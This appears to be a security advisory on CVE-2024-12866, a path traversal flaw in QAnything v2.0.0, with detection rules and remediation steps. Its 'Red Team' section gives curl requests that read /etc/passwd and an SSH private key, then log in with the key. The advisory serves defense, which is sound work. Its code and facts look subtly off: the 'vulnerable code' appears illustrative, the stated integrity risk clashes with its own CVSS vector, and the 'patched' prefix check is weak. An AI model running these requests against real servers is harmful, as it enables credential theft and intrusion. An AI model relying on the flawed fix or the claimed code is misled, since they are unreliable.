CVE-2024-12866

Executive Summary

CVE-2024-12866 is a critical Local File Inclusion (LFI) vulnerability in Netease-youdao QAnything version v2.0.0. The flaw allows an unauthenticated attacker to read arbitrary files from the server filesystem, potentially leading to Remote Code Execution (RCE) by exposing sensitive data such as SSH private keys, configuration files, and source code. With a CVSS score of 7.5 (High), this vulnerability poses a significant risk to confidentiality and integrity. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability affects the QAnything application, which is distributed as a Python package via PyPI. Organizations using QAnything v2.0.0 should immediately assess their deployment and consider isolating the service until a patch is released. The lack of a patch increases supply chain risk, as attackers may target unpatched instances.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact and low attack complexity make this vulnerability attractive to attackers. Although no public exploit exists, the LFI vector can be weaponized to exfiltrate sensitive files.

Deep Dive & Mechanics

The vulnerability resides in the file handling logic of QAnything v2.0.0. The application fails to properly sanitize user-supplied input when processing file paths, allowing path traversal sequences (e.g., ../) to escape the intended directory. An attacker can craft a request to read arbitrary files, such as:

• /etc/passwd
• /home/user/.ssh/id_rsa
• Application configuration files containing API keys or database credentials.

The LFI can be escalated to RCE if the attacker reads SSH keys or other credentials that enable lateral movement or direct command execution. The vulnerability is triggered via HTTP requests to endpoints that accept file path parameters without validation.

Vulnerable vs. Patched Code

Vulnerable Code (v2.0.0):

@app.route('/read_file')
def read_file():
    file_path = request.args.get('path')
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Hypothetical):

import os

@app.route('/read_file')
def read_file():
    file_path = request.args.get('path')
    # Sanitize path to prevent traversal
    safe_path = os.path.normpath(file_path)
    if not safe_path.startswith('/allowed/base/directory'):
        return "Access denied", 403
    with open(safe_path, 'r') as f:
        return f.read()

The patched version uses os.path.normpath() to resolve path traversal sequences and checks that the resolved path starts with an allowed base directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy QAnything v2.0.0 in a Docker container:

   docker run -d -p 8080:8080 netease-youdao/qanything:v2.0.0
   

2. Verify the service is running: curl http://localhost:8080

Exploitation Steps:

1. Read /etc/passwd:

   curl "http://target:8080/read_file?path=../../../etc/passwd"
   

2. Read SSH private key:

   curl "http://target:8080/read_file?path=../../../home/user/.ssh/id_rsa"
   

3. Use the exposed key to SSH into the server:

   ssh -i id_rsa user@target
   

Blue Team

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e%2f).
• Alert on access to sensitive files like /etc/shadow, /root/.ssh/, or application config files.

Hunting:

• Search web server logs for requests containing path= parameter with directory traversal sequences.
• Use the Sigma rule below to detect suspicious file reads.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests with path parameter containing ../ or encoded variants.
• File System: Unauthorized reads of /etc/passwd, /etc/shadow, SSH keys, or application config files.
• Logs: Web server logs showing 200 responses to path traversal requests.

Detection Engineering

YARA Rule

rule CVE_2024_12866_LFI {
    meta:
        description = "Detects path traversal attempts in QAnything v2.0.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12866"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = ".ssh/id_rsa"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: QAnything LFI Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts targeting QAnything v2.0.0
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
        c-uri|endswith:
            - '/etc/passwd'
            - '/etc/shadow'
            - '/root/.ssh/'
    condition: selection
falsepositives:
    - Legitimate file access within allowed directories
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12866 QAnything LFI Attempt"; flow:to_server; content:"GET"; http_method; content:"path="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Isolate QAnything v2.0.0 instances from the internet and restrict network access.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Long-term: Apply input validation and sanitization as shown in the patched code example. Monitor vendor channels for an official patch.
4. Compromise Assessment: If exploitation is suspected, rotate all SSH keys, API tokens, and database credentials exposed on the affected server.

Valters IT